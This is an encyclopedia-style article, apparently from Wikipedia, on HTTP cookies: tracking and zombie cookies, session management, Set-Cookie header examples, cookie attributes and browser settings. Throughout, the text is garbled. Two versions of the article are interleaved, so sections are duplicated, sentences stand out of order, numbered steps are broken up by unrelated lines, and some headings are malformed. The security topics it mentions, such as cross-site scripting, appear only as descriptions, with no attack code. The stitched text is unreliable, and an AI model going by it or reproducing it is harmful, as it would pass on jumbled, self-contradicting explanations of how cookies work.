A ''zombie cookie'' is data and code that has been placed by a [[web server]] on a visitor's computer or other device in a hidden ___location outside the visitor's [[web browser]]'s dedicated cookie storage ___location, and that automatically recreates a HTTP cookie as a regular cookie after the original cookie had been deleted. The zombie cookie may be stored in multiple locations, such as [[Local shared object|Flash Local shared object]], [[Web storage|HTML5 Web storage]], and other client-side and even server-side locations, and when absence is detected in one of the locations, the missing instance is recreated by the JavaScript code using the data stored in other locations.<ref name="MLbxD">{{Cite web | last1=Angwin | first1=Julia | author1-link=Julia Angwin | last2=Tigas | first2=Mike | title=Zombie Cookie: The Tracking Cookie That You Can't Kill | url=https://www.propublica.org/article/zombie-cookie-the-tracking-cookie-that-you-cant-kill |date= Jan 14, 2015 | access-date=2020-11-01 | website=ProPublica | language=en }}</ref><ref name="k81iO">{{Cite web|first=Conrad|last=Stolze|date=2011-06-11|title=The Cookie That Would Not Crumble!|url=https://24x7mag.com/professional-development/education/the-cookie-that-would-not-crumble/|access-date=2020-11-01|website=24x7 Magazine|language=en-US}}</ref>
 
==={{anchor|cookie Trackingwall}}Cookie wall===
A cookie wall pops up on a website and informs the user of the website's cookie usage. It has no reject option, and the website is not accessible without tracking cookies.
Tracking cookies may be used to track internet users' web browsing habits. This can also be done in part by using the [[IP address]] of the computer requesting the page or the [[HTTP referrer|referrer]] field of the [[HyperText Transfer Protocol|HTTP header]], but cookies allow for greater precision. This can be demonstrated as follows:
 
==Structure==
# If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user; the server creates a random string and sends it as a cookie back to the browser together with the requested page;
A cookie consists of the following components:<ref name="Peng, Weihong 2000">{{cite journal|title=HTTP Cookies, A Promising Technology|journal=ProQuest|publisher=Online Information Review|last1=Peng|first1=Weihong|last2=Cisna|first2=Jennifer|year=2000|id={{ProQuest|194487945}}}}</ref><ref name="Stenberg, Daniel 2009">Jim Manico quoting Daniel Stenberg, [http://manicode.blogspot.it/2009/08/real-world-cookie-length-limits.html Real world cookie length limits] {{Webarchive|url=https://web.archive.org/web/20130702114435/http://manicode.blogspot.it/2009/08/real-world-cookie-length-limits.html |date=2013-07-02}}</ref><ref>{{Cite journal |last1=Lee |first1=Wei-Bin |last2=Chen |first2=Hsing-Bai |last3=Chang |first3=Shun-Shyan |last4=Chen |first4=Tzung-Her |date=2019-01-25 |title=Secure and efficient protection for HTTP cookies with self-verification |url=https://onlinelibrary.wiley.com/doi/10.1002/dac.3857 |journal=International Journal of Communication Systems |language=en |volume=32 |issue=2 |pages=e3857 |doi=10.1002/dac.3857|s2cid=59524143 |url-access=subscription }}</ref>
# From this point on, the cookie will be automatically sent by the browser to the server every time a new page from the site is requested; the server sends the page as usual, but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.
 
# Name
By looking at the log file, it is then possible to find out which pages the user has visited and in what sequence. For example, if the log contains some requests done using the cookie <code>id=abc</code>, it can be determined that these requests all come from the same user. The URL and date/time stored with the cookie allows for finding out which pages the user has visited, and at what time.
# Value
# Zero or more attributes ([[Attribute–value pair|name/value pairs]]). Attributes store information such as the cookie's expiration, ___domain, and flags (such as <code>Secure</code> and <code>HttpOnly</code>).
 
==Uses==
Third-party cookies and [[Web bug]]s, explained below, also allow for tracking across multiple sites. Tracking within a site is typically used to produce usage statistics, while tracking across sites is typically used by advertising companies to produce anonymous user profiles (which are then used to determine what advertisements should be shown to the user).
===Session management===
Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual ''shopping cart'' or ''shopping basket'').<ref name="kesan" /><ref name="kristol" /> Today, however, the contents of a user's shopping cart are usually stored in a database on the server, rather than in a cookie on the client. To keep track of which user is assigned to which shopping cart, the server sends a cookie to the client that contains a [[unique identifier|unique session identifier]] (typically, a long string of random letters and numbers). Because cookies are sent to the server with every request the client makes, that session identifier will be sent back to the server every time the user visits a new page on the website, which lets the server know which shopping cart to display to the user.
 
Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has been authenticated and grants the user access to its services.
A tracking cookie may potentially infringe upon the user's privacy but they can be easily removed. Current versions of popular web browsers include options to delete 'persistent' cookies when the application is closed.
 
Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load times, since the amount of information in a session cookie is small and requires little bandwidth.
== Implementation ==
 
===Personalization===
[[File:HTTP cookie exchange.svg|thumb|A possible interaction between a Web browser and a server holding a Web page, in which the server sends a cookie to the browser and the browser sends it back when requesting another page.]]
Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs in.
Cookies are arbitrary pieces of data chosen by the [[Web server]] and sent to the browser. The browser returns them unchanged to the server, introducing a [[state (computer science)|state]] (memory of previous events) into otherwise stateless HTTP transactions. Without cookies, each retrieval of a [[Web page]] or component of a Web page is an isolated event, mostly unrelated to all other views of the pages of the same site. Other than being set by a web server, cookies can also be set by a [[Scripting programming language|script]] in a language such as [[JavaScript]], if supported and enabled by the Web browser.
 
Many websites use cookies for personalization based on the user's preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page on the website, the server can personalize the page according to the user's preferences. For example, the [[Google]] search engine once used cookies to allow users (even non-registered ones) to decide how many search results per page they wanted to see.
Cookie specifications<ref>{{cite web | title=Persistent client state HTTP cookies: Preliminary specification | url=http://wp.netscape.com/newsref/std/cookie_spec.html | archiveurl=http://web.archive.org/web/20070805052634/http://wp.netscape.com/newsref/std/cookie_spec.html | work= | publisher=Netscape | archivedate=2007-08-05 | date=c1999 | accessdate= }}</ref><ref>RFC 2965 - HTTP State Management Mechanism ([[Internet Engineering Task Force|IETF]])</ref><ref name="httponlyrfc" /> suggest that browsers should be able to save and send back a minimal number of cookies. In particular, an internet browser is expected to be able to store at least 300 cookies of four [[kilobyte]]s each, and at least 20 cookies per server or [[Internet ___domain|___domain]].
Also, [[DuckDuckGo]] uses cookies to allow users to set the viewing preferences like colors of the web page.
 
=== Setting a cookie Tracking===
{{See also|Web tracking}}
Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the [[IP address]] of the computer requesting the page or the [[HTTP referer|referer]] field of the [[HTTP]] request header, but cookies allow for greater precision. This can be demonstrated as follows:
 
# If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it as a cookie back to the browser together with the requested page.
Transfer of Web pages follows the [[HyperText Transfer Protocol]] (HTTP). Regardless of cookies, browsers request a page from web servers by sending them a usually short text called [[HyperText Transfer Protocol|HTTP request]]. For example, to access the page <nowiki>http://www.example.org/index.html</nowiki>, browsers connect to the server <nowiki>www.example.org</nowiki> sending it a request that looks like the following one:
# From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.
 
By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long.
{|
|
|
<div style="border:solid thin; padding:0 1em;">
<tt>
<nowiki>GET /index.html HTTP/1.1</nowiki><br />
Host: www.example.org<br />
</tt>
</div>
|
|-
| '''browser'''
| <center>-------→</center>
| '''server'''
|}
 
Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The ''[[Wall Street Journal]]'' found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files.<ref name="tpktn">Rainie, Lee (2012). Networked: The New Social Operating System. p. 237</ref> The data can then be collected and sold to bidding corporations.
The server replies by sending the requested page preceded by a similar packet of text, called [[HyperText Transfer Protocol|'HTTP response']]. This packet may contain lines requesting the browser to store cookies:
 
==Implementation==
{|
[[File:HTTP cookie exchange.svg|thumb|A possible interaction between a web browser and a web server holding a web page in which the server sends a cookie to the browser and the browser sends it back when requesting another page]]
|
|
<div style="border:solid thin; padding:0 1em;">
<tt>
HTTP/1.1 200 OK<br/>
Content-type: text/html<br/>
<span style="color:green;">Set-Cookie: name=value</span><br/>
<span style="color:green;">Set-Cookie: name2=value2; Expires=Wed, 09 Jun 2021 10:18:14 GMT</span><br/>
&nbsp;<br/>
(content of page)
</tt>
</div>
|
|-
| '''browser'''
| <center>←-------</center>
| '''server'''
|}
 
Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, and stored on the client computer by the web browser. The browser then sends them back to the server with every request, introducing [[state (computer science)|states]] (memory of previous events) into otherwise stateless [[HTTP]] transactions. Without cookies, each retrieval of a [[web page]] or component of a web page would be an isolated event, largely unrelated to all other page views made by the user on the website. Although cookies are usually set by the web server, they can also be set by the client using a scripting language such as [[JavaScript]] (unless the cookie's <code>HttpOnly</code> flag is set, in which case the cookie cannot be modified by scripting languages).
The server sends lines of <code>Set-Cookie</code> only if the server wishes the browser to store cookies. <code>Set-Cookie</code> is a directive for the browser to store the cookie and send it back in future requests to the server (subject to expiration time or other [[HTTP Cookie#Cookie_attributes|cookie attributes]]), if the browser supports cookies and cookies are enabled. For example, the browser requests the page <nowiki>http://www.example.org/spec.html</nowiki> by sending the server <nowiki>www.example.org</nowiki> a request like the following:
 
The cookie specifications<ref name="httponlyrfc">{{cite ietf |rfc=6265 |title=HTTP State Management Mechanism}}</ref><ref name="NWRaX">{{cite web |title=Persistent client state HTTP cookies: Preliminary specification |url=http://wp.netscape.com/newsref/std/cookie_spec.html |archive-url=https://web.archive.org/web/20070805052634/http://wp.netscape.com/newsref/std/cookie_spec.html |publisher=Netscape |archive-date=2007-08-05 |date=c. 1999}}</ref> require that browsers meet the following requirements in order to support cookies:
{|
* Can support cookies as large as 4,096 [[byte]]s in size.
|
* Can support at least 50 cookies per [[Internet ___domain|___domain]] (i.e. per website).
|
* Can support at least 3,000 cookies in total.
<div style="border:solid thin; padding:0 1em;">
<tt>
<nowiki>GET /spec.html HTTP/1.1</nowiki><br />
Host: www.example.org<br />
<span style="color:green;">Cookie: name=value; name2=value2</span><br />
Accept: */*<br />
&nbsp;<br />
</tt>
</div>
|
|-
| '''browser'''
| <center>-------→</center>
| '''server'''
|}
 
===Setting a cookie===
This is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. This way, the server knows that this request is related to the previous one. The server answers by sending the requested page, possibly adding other cookies as well.
Cookies are set using the <code>Set-Cookie</code> [[HTTP header|header field]], sent in an HTTP response from the web server. This header field instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header field if it does not support cookies or has disabled cookies).
 
As an example, the browser sends its first HTTP request for the homepage of the <code>www.example.org</code> website:
The value of a cookie can be modified by the server by sending a new <code>Set-Cookie: name=newvalue</code> line in response of a page request. The browser then replaces the old value with the new one.
<syntaxhighlight lang="http">
GET /index.html HTTP/1.1
Host: www.example.org
...
</syntaxhighlight>
 
The server responds with two <code>Set-Cookie</code> header fields:
The term "cookie crumb" is sometimes used to refer to the name-value pair.<ref name="CrumbExample">{{cite web|url=http://msdn2.microsoft.com/en-us/library/ms533693.aspx |title=Cookie Property |work=MSDN |publisher=Microsoft |accessdate=2009-01-04}}</ref> This is not the same as [[breadcrumb (navigation)|breadcrumb web navigation]], which is the technique of showing in each page the list of pages the user has previously visited; this technique, however, may be implemented using cookies.
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...
</syntaxhighlight>
 
The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first, ''theme'', is considered to be a ''session cookie'' since it does not have an <code>Expires</code> or <code>Max-Age</code> attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second, ''sessionToken'', is considered to be a ''persistent cookie'' since it contains an <code>Expires</code> attribute, which instructs the browser to delete the cookie at a specific date and time.
Cookies can also be set by JavaScript or similar scripts running within the browser. In JavaScript, the object <code>document.cookie</code> is used for this purpose. For example, the instruction <code>document.cookie = "temperature=20"</code> creates a cookie of name <code>temperature</code> and value <code>20</code>.<ref>{{cite news|first=Ross |last=Shannon |url=http://www.yourhtmlsource.com/javascript/cookies.html |title=Cookies&nbsp;— set and retrieve information about your readers |publisher=HTMLSource |date=2007-02-26 |accessdate=2009-01-04}}</ref>
 
Next, the browser sends another request to visit the <code>spec.html</code> page on the website. This request contains a <code>Cookie</code> header field, which contains the two cookies that the server instructed the browser to set:
=== Cookie attributes ===
<syntaxhighlight lang="http">
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
</syntaxhighlight>
 
This way, the server knows that this HTTP request is related to the previous one. The server would answer by sending the requested page, possibly including more <code>Set-Cookie</code> header fields in the HTTP response in order to instruct the browser to add new cookies, modify existing cookies, or remove existing cookies. To remove a cookie, the server must include a <code>Set-Cookie</code> header field with an expiration date in the past.
Besides the name-value pair, servers can also set these cookie attributes: a cookie ___domain, a path, expiration time or maximum age, secure flag and httponly flag. Browsers do not send back to servers with cookie attributes, only cookie’s name-value pair. Cookie attributes are used only by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie (name-value pair) to the servers.
 
The value of a cookie may consist of any printable [[ASCII]] character (<code>!</code> through <code>~</code>, [[Unicode]] <code>\u0021</code> through <code>\u007E</code>) excluding {{codes|,|;|d=and}} and [[whitespace character]]s. The name of a cookie excludes the same characters, as well as <code>=</code>, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers.
==== Domain and Path ====
The cookie ___domain and path define the scope of the cookie, they tell the browser that cookies should only be sent back to the server for the given ___domain and path. If not specified, they default to the ___domain and path of the object that was requested. An example of Set-Cookie directives from Google Docs website after a user logged in:
 
The term ''cookie crumb'' is sometimes used to refer to a cookie's name–value pair.<ref name="CrumbExample">{{cite web |url=http://msdn2.microsoft.com/en-us/library/ms533693.aspx |title=Cookie Property |work=MSDN |publisher=Microsoft |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20080405180445/http://msdn2.microsoft.com/en-us/library/ms533693.aspx |archive-date=2008-04-05 |url-status=live}}</ref>
{|
|
|
<div style="border:solid thin; padding:0 1em;">
<tt>
Set-Cookie: LSID=DQAAAK…Eaem_vYg; <span style="color:green;">Path=/accounts;</span> Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly<br/>
Set-Cookie: HSID=AYQEVn….DKrdst; <span style="color:green;">Domain=.google.com; Path=/;</span> Expires=Wed, 13-Jan-2021 22:23:01 GMT; HttpOnly<br/>
Set-Cookie: SSID=Ap4P….GTEq; <span style="color:green;">Domain=.google.com; Path=/;</span> Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly<br/>
&nbsp;......<br />
</tt>
</div>
|}
 
Cookies can also be set by scripting languages such as [[JavaScript]] that run within the browser. In JavaScript, the object <code>document.cookie</code> is used for this purpose. For example, the instruction <code>document.cookie = "temperature=20"</code> creates a cookie of name ''temperature'' and value ''20''.<ref name="Q2GAk">{{cite news |first=Ross |last=Shannon |url=http://www.yourhtmlsource.com/javascript/cookies.html |title=Cookies, Set and retrieve information about your readers |publisher=HTMLSource |date=2007-02-26 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20110824225515/http://www.yourhtmlsource.com/javascript/cookies.html |archive-date=2011-08-24 |url-status=live}}</ref>
The first cookie <code>LSID</code> has default Domain <code>docs.google.com</code> and Path <code>/accounts</code>, which tells browser to use the cookie only when requesting pages contained in <code>docs.google.com/accounts</code>; the other 2 cookies <code>HSID</code> and <code>SSID</code> would be sent back by browsers while requesting any subdomain in <code>.google.com</code> on any path, for example <code>www.google.com/</code>.
 
====Cookie Expires and Max-Age =attributes===
In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server.
The Expires directive tells the browser when to delete the cookie. It is specified in the form of “Wdy, DD-Mon-YYYY HH:MM:SS GMT”, indicating the exact date/time this cookie will expire. As an alternative to setting cookie expiration as an absolute date/time, RFC 2965 allows the use of Max-Age attribute to set the cookie’s expiration as an interval of seconds in the future, relative to the time the browser received the cookie. An example of Set-Cookie directives from Facebook website after a user logged in:
 
====Domain and Path====
{|
The <code>Domain</code> and <code>Path</code> attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For security reasons, cookies can only be set on the current resource's top ___domain and its subdomains, and not for another ___domain and its subdomains. For example, the website <code>example.org</code> cannot set a cookie that has a ___domain of <code>foo.com</code> because this would allow the website <code>example.org</code> to control the cookies of the ___domain <code>foo.com</code>.
|
|
<div style="border:solid thin; padding:0 1em;">
<tt>
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; <span style="color:green;">expires=Tue, 15-Jan-2013 21:47:38 GMT;</span> path=/; ___domain=.facebook.com; httponly<br/>
Set-Cookie: made_write_conn=1295214458; path=/; ___domain=.facebook.com<br/>
Set-Cookie: reg_fb_gate=deleted; <span style="color:green;">expires=Thu, 01-Jan-1970 00:00:01 GMT;</span> path=/; ___domain=.facebook.com; httponly<br/>
&nbsp;......<br />
</tt>
</div>
|}
 
If a cookie's <code>Domain</code> and <code>Path</code> attributes are not specified by the server, they default to the ___domain and path of the resource that was requested.<ref name="uMnRY">{{cite ietf |rfc=6265 |section=4.1.2.4 |title=HTTP State Management Mechanism, The Path Attribute |last1=Barth |first1=A. }}</ref> However, in most browsers there is a difference between a cookie set from <code>foo.com</code> without a ___domain, and a cookie set with the <code>foo.com</code> ___domain. In the former case, the cookie will only be sent for requests to <code>foo.com</code>, also known as a host-only cookie. In the latter case, all subdomains are also included (for example, <code>docs.foo.com</code>).<ref name="iDIGa">{{cite ietf |rfc=6265 |section=5.1.3 |title=RFC 6265, HTTP State Management Mechanism, Domain matching |date=March 2014 |last1=Barth |first1=A. }}</ref><ref name="5Qixt">{{cite ietf |rfc=6265 |section=4.1.2.3 |title=RFC 6265, HTTP State Management Mechanism, The Domain Attribute |date=March 2014 |last1=Barth |first1=A. }}</ref> A notable exception to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 11 and Windows 10 RS4 (April 2018), which always sends cookies to subdomains regardless of whether the cookie was set with or without a ___domain.<ref name="Ry6VV">{{cite web |url=https://blogs.msdn.microsoft.com/b/ieinternals/archive/2009/08/20/wininet-ie-cookie-internals-faq.aspx |title=Internet Explorer Cookie Internals (FAQ) | date=21 November 2018}}</ref>
The first cookie <code>lu</code> is set to expire sometime in 15-Jan-2013, it will be used by the client browser until that time; the second cookie <code>made_write_conn</code> does not have expiration date, it is a session cookie, it will be deleted after the user closes his/her browser; the third cookie <code>reg_fb_gate</code> has its value changed to ''deleted'', with an expiration time in the past, the browser will delete this cookie right away – note that cookie will only be deleted when the ___domain and path attributes in the <code>Set-Cookie</code> header match the values used when the cookie was created.
 
Below is an example of some <code>Set-Cookie</code> header fields in the HTTP response of a website after a user logged in. The HTTP request was sent to a webpage within the <code>docs.foo.com</code> subdomain:
==== Secure and HttpOnly ====
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
</syntaxhighlight>
 
The first cookie, <code>LSID</code>, has no <code>Domain</code> attribute, and has a <code>Path</code> attribute set to <code>/accounts</code>. This tells the browser to use the cookie only when requesting pages contained in <code>docs.foo.com/accounts</code> (the ___domain is derived from the request ___domain). The other two cookies, <code>HSID</code> and <code>SSID</code>, would be used when the browser requests any subdomain in <code>.foo.com</code> on any path (for example <code>www.foo.com/bar</code>). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.<ref name="gxcF2">{{cite ietf |rfc=2109 |section=4.2.2 |title=RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax |date=March 2014 |last1=Kristol |first1=D. |last2=Montulli |first2=L. |s2cid=6914676 }}</ref>
Secure and HttpOnly attributes do not have value. The existence of the flag tells the browser whether the cookie is secure or httponly.
 
====Expires and Max-Age====
A Secure attribute tells the browser to only use this cookie via [[Https|secure/encrypted]] connections, obviously, web servers should also set this cookie via [[Https|secure channels]], and therefore anyone eavesdropping your communication would not pick up the cookie.
The <code>Expires</code> attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form <code>Wdy, DD Mon YYYY HH:MM:SS GMT</code>, or in the form <code>Wdy, DD Mon YY HH:MM:SS GMT</code> for values of YY where YY is greater than or equal to 0 and less than or equal to 69.<ref name="QKuwv">{{cite ietf |rfc=6265 |section=5.1.1|title=RFC 6265, HTTP State Management Mechanism|year=2011 |last1=Barth |first1=A. }}</ref>
 
Alternatively, the <code>Max-Age</code> attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three <code>Set-Cookie</code> header fields that were received from a website after a user logged in:
An HttpOnly attribute tells the browser to only use the cookie for HTTP protocol, the cookie is not visible to client side scripts, and therefore renders [[Cross-site scripting|cross-site scripting]] (it was most common attack <ref name=Symantec-2007-2nd-exec> {{cite web|title=Symantec Internet Security Threat Report: Trends for July-December 2007 (Executive Summary)|publisher=Symantec Corp.|volume=XIII|pages=1–3|month=April | year=2008|url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf|format=PDF|accessdate=May 11, 2008}}</ref>) ineffective. As shown in previous examples, both Facebook and Google use HttpOnly attribute extensively.
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly
</syntaxhighlight>
 
The first cookie, <code>lu</code>, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, <code>made_write_conn</code>, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, <code>reg_fb_gate</code>, has its value changed to ''deleted'', with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the ___domain and path attributes in the <code>Set-Cookie</code> field match the values used when the cookie was created.
== Misconceptions ==
 
{{As of|2016}} Internet Explorer did not support <code>Max-Age</code>.<ref name="nyQ00">{{Cite web|url=https://inikulin.github.io/cookie-compat/#MOZILLA0001|title=Cookies specification compatibility in modern browsers|date=2016|website=inikulin.github.io|access-date=2016-09-30|archive-url=https://web.archive.org/web/20161002124029/http://inikulin.github.io/cookie-compat/#MOZILLA0001|archive-date=2016-10-02|url-status=live}}</ref><ref name="wASD0">{{cite web|url=http://mrcoles.com/blog/cookies-max-age-vs-expires/|title=HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles|first=Peter|last=Coles|website=Mrcoles.com|access-date=28 July 2016|archive-url=https://web.archive.org/web/20160729011727/http://mrcoles.com/blog/cookies-max-age-vs-expires/|archive-date=29 July 2016|url-status=live}}</ref>
Since their introduction on the Internet, misconceptions about cookies have circulated on the Internet and in the media.<ref>{{cite web|url=http://www.theallineed.com/computers/05072901.htm |title=Contrary to popular belief, cookies are good for you! (on the Internet) |publisher=The All I Need |date= |accessdate=2009-01-04}}</ref><ref>Keith C. Ivey [http://web.archive.org/web/20071211085115/http://www.eeicommunications.com/eye/utw/98feb.html Untangling the Web Cookies: Just a Little Data Snack]. 1998</ref> In 1998, [[Computer Incident Advisory Capability|CIAC]], a computer incident response team of the [[United States Department of Energy]], found the security vulnerability "essentially nonexistent" and explained that "information about where you come from and what web pages you visit already exists in a web server's log files".<ref>{{cite web|title=I-034: Internet Cookies|url=http://www.ciac.org/ciac/bulletins/i-034.shtml|publisher=CIAC, United States Department of Energy (ciac.org)|date=March 12, 1998, revised February 1, 2007|accessdate=2007-11-05}}</ref> In 2005, [[Jupiter Research]] published the results of a survey,<ref>Brian Quinton. [http://searchlineinfo.com/InsightExpress_cookie_study/ Study: Users Don't Understand, Can’t Delete Cookies]. Direct. May 18, 2005</ref> according to which a consistent percentage of respondents believed some of the following '''false''' claims:
 
====Secure and HttpOnly====
The following are '''false''':
The <code>Secure</code> and <code>HttpOnly</code> attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled.
* Cookies are like [[Computer virus|viruses]] in that they can infect the user's hard disks
* Cookies generate [[Context menu|pop-ups]]
* Cookies are used for [[spam (electronic)|spamming]]
* Cookies are used only for [[advertising]]
 
The <code>Secure</code> attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via [[HTTPS|secure/encrypted]] connections. However, if a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by [[man-in-the-middle attack]]s. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection.
According to the same survey, a large percentage of Internet users do not know how to delete cookies.
 
The <code>HttpOnly</code> attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client-side scripting languages (notably [[JavaScript]]), and therefore cannot be stolen easily via [[cross-site scripting]] (a pervasive attack technique).<ref name="Symantec-2007-2nd-exec">{{cite report |title=Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary) |publisher=Symantec Corp. |volume=XIII |pages=1–3 |date=April 2008 |url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |access-date=May 11, 2008 |archive-url=https://web.archive.org/web/20080625065121/http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |archive-date=June 25, 2008 |url-status=dead}}</ref>
Cookies cannot erase or read arbitrary information from the user's computer.<ref>Adam Penenberg. [http://www.slate.com/id/2129656/ Cookie Monsters]. [[Slate (magazine)|Slate]], November 7, 2005</ref> However, cookies allow for detecting the Web pages viewed by a user on a given site or set of sites.
 
== Browser settings ==
Most modern browsers support cookies and allow the user to disable them. The following are common options:<ref name="eyMbr">{{cite web |first=David |last=Whalen |url=http://www.cookiecentral.com/faq/ |title=The Unofficial Cookie FAQ v2.6 |publisher=Cookie Central |date=June 8, 2002 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20110824223646/http://www.cookiecentral.com/faq/ |archive-date=August 24, 2011 |url-status=live}}</ref>
* To enable or disable cookies completely, so that they are always accepted or always blocked.
* To view and selectively delete cookies using a cookie manager.
* To fully wipe all private data, including cookies.
 
Add-on tools for managing cookie permissions also exist.<ref name="microsoft2007">{{cite web |url=http://support.microsoft.com/kb/283185 |title=How to Manage Cookies in Internet Explorer 6 |publisher=Microsoft |date=December 18, 2007 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20081228074307/http://support.microsoft.com/kb/283185 |archive-date=December 28, 2008 |url-status=live}}</ref><ref name="bv35c">{{cite web |url=http://support.mozilla.com/en-US/kb/Clearing+Private+Data#top |title=Clearing private data |work=Firefox Support Knowledge base |publisher=Mozilla |date=16 September 2008 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20090103092440/http://support.mozilla.com/en-US/kb/Clearing+Private+Data#top |archive-date=3 January 2009 |url-status=live}}</ref><ref name="zuzB8">{{cite web |url=https://www.google.com/support/chrome/bin/answer.py?answer=95582 |title=Clear Personal Information : Clear browsing data |work=Google Chrome Help |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20090311132912/http://www.google.com/support/chrome/bin/answer.py?answer=95582 |archive-date=2009-03-11 |url-status=live}}</ref><ref name="xGdEB">{{cite web |url=https://www.google.com/support/chrome/bin/answer.py?answer=95626 |title=Clear Personal Information: Delete cookies |work=Google Chrome Help |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20090311132750/http://www.google.com/support/chrome/bin/answer.py?answer=95626 |archive-date=2009-03-11 |url-status=live}}</ref>
Most modern browsers support cookies and allow the user to disable them. The following are common options:<ref>{{cite web|first=David |last=Whalen |url=http://www.cookiecentral.com/faq/ |title=The Unofficial Cookie FAQ v2.6 |publisher=Cookie Central |date=June 8,2002 |accessdate=2009-01-04}}</ref>
# To enable or disable cookies completely, so that they are always accepted or always blocked.
# To allow the user to see the cookies that are active with respect to a given page by typing <code>javascript:alert(document.cookie)</code> in the browser [[Uniform Resource Locator|URL]] field. Some browsers incorporate a cookie manager for the user to see and selectively delete the cookies currently stored in the browser.
# By default, Internet Explorer allows only 3rd party cookies that are accompanied by a [[P3P]] "CP" (Compact Policy) header.<ref>{{cite web|url=http://grack.com/blog/2010/01/06/3rd-party-cookies-dom-storage-and-privacy/|title=3rd-Party Cookies, DOM Storage and Privacy|publisher=grack.com: Matt Mastracci's blog|date=January 6, 2010|accessdate=2010-09-20}}</ref>
 
=={{anchor|ThirdParty cookie}}Third-party cookie==
